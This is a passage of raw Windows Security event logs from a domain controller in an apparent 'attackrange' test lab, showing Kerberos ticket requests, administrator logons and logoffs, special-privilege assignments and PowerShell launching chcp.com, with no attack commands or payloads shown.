This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251334
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251333
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130C38

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251332
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130C38

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251331
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130C38
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251330
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251329
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251328
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251327
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130622

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251326
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12F337

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251325
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130B04

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251324
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x130B04
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64520

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251323
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130B04

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251322
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130A8C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251321
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x130A8C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64519

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251320
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130A8C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251319
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130A26

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251318
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x130A26
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64518

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251317
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130A26

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251316
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1309C5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251315
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1309C5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64517

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251314
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1309C5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251313
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130622

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251312
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130622
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251311
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251310
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251309
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251308
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1334
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11e0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251307
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11e0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf44
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
